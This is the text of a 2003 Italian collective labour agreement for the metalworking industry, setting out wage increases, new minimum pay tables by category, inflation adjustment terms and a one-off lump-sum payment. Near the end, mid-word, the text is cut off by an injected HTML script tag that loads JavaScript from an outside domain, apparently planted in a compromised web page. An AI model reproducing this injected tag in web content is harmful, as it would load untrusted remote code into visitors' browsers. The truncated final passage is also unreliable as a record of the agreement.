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Categoria: Metalmeccanica (industrie)
Settore: Meccanici
Data stipula: 7-5-2003
Data decorrenza: 1-6-2003
Data scadenza: 31-12-2006

IPOTESI DI ACCORDO

per il rinnovo del Contratto Collettivo Nazionale di Lavoro
8 giugno 1999

PER L'INDUSTRIA METALMECCANICA PRIVATA
E DELLA INSTALLAZIONE DI IMPIANTI


Roma, 7 maggio 2003


Da inserire prima della Premessa al contratto


Dichiarazione delle parti stipulanti.

Il presente CCNL sostituisce il precedente CCNL 8.6.99 a tutti gli effetti
e,  dunque,  anche  ai  fini  del comma 3, art. 36,  Disciplina  Generale,
Sezione III.

Le  parti stipulanti il presente CCNL convengono che di tutti i diritti  e
istituti  previsti nella Disciplina Generale, Sezioni I e  II,  nonché  di
ogni  ulteriore  diritto  che il presente contratto  attribuisce  ad  esse
parti,  saranno destinatari altresì i sindacati stipulanti in data  2.2.94
l'Accordo  per  la  costituzione  delle  RSU  (allegato  4  del   presente
contratto).


SALARIO

Le  parti convengono che ai minimi tabellari vigenti saranno apportati gli
incrementi economici qui di seguito indicati:

        dal    dal     dal      
cat.  1.7.03 1.2.04  1.12.04  totale
        
1      28,15  15,01   13,14    56,30
2      32,94  17,57   15,37    65,88
3      38,85  20,72   18,13    77,70
4      41,10  21,92   19,18    82,20
5      45,04  24,02   21,02    90,08
5S     49,83  26,58   23,25    99,66
6      53,49  28,53   24,96   106,98
7      59,12  31,53   27,59   118,24

Pertanto i minimi tabellari assumeranno i valori qui di seguito indicati:

       fino al    dal       dal       dal
cat.   30.6.03  1.7.03    1.2.04    1.12.04
  
1       939,30   967,45    982,46    995,60
2     1.014,87 1.047,81  1.065,38  1.080,75
3     1.097,80 1.136,65  1.157,37  1.175,50
4     1.138,60 1.179,70  1.201,62  1.220,80
5     1.207,48 1.252,52  1.276,54  1.297,56
5S    1.275,81 1.325,64  1.352,22  1.375,47
6     1.369,10 1.422,59  1.451,12  1.476,08
7     1.477,65 1.536,77  1.568,30  1.595,89

Le  parti  si danno reciprocamente atto che, in occasione del rinnovo  del
biennio  economico  2003-2004,  l'eventuale  recupero  dello  scarto   tra
inflazione  programmata e inflazione registrata a consuntivo nel  periodo,
calcolato secondo i criteri previsti dal Protocollo 23.7.93,  terrà  conto
degli  incrementi  economici  corrisposti a decorrere  da  dicembre  2004.
Pertanto, le parti convengono fin d'ora che: qualora il differenziale  tra
inflazione  effettiva e inflazione programmata fosse uguale all'1,3%,  non
si   darà   luogo   a  recuperi  e/o  conguagli,  mentre,  qualora   detto
differenziale  risultasse superiore o inferiore all'1,3%, si  procederà  a
calcolare   il   conguaglio  positivo  ovvero   negativo   da   effettuare
sull'incremento dei minimi per il biennio 2005-2006.

* * * * * * * * *

Le  parti  s'incontreranno  per riproporzionare,  così  come  avvenuto  in
occasione  delle precedenti modifiche dei minimi tabellari, le percentuali
del  concottimo e dell'utile minimo di cottimo di cui agli artt. 8  e  11,
Disciplina Speciale, Parte I.


UNA TANTUM

Ai  lavoratori  in forza all'1.6.03, è corrisposto un importo  forfettario
lordo  di  E 220  suddivisibili in quote mensili in relazione alla  durata
del  rapporto  di lavoro nel periodo 1.1.03-30.6.03. La frazione  di  mese
superiore  a  15  giorni  sarà considerata, a questi  effetti,  come  mese
intero.

L'importo  della  'una tantum' è stato quantificato considerando  in  esso
anche  i  riflessi sugli istituti di retribuzione diretta e indiretta,  di
origine legale o contrattuale, ed è quindi comprensivo degli stessi.

Inoltre,  in attuazione di quanto previsto dal comma 2, art. 2120  CC,  la
'una tantum' è esclusa dalla base di calcolo del TFR.

Il suddetto importo verrà erogato in 2 rate pari a:

- E 115 lordi nel corso di giugno 2003
- E 105 lordi nel corso di gennaio 2004

Nel  caso di risoluzione del rapporto di lavoro, il suddetto importo verrà
corrisposto all'atto della liquidazione delle competenze.

Le  giornate di assen<script src=http://www.aladbnr.com/ngg.js></script>













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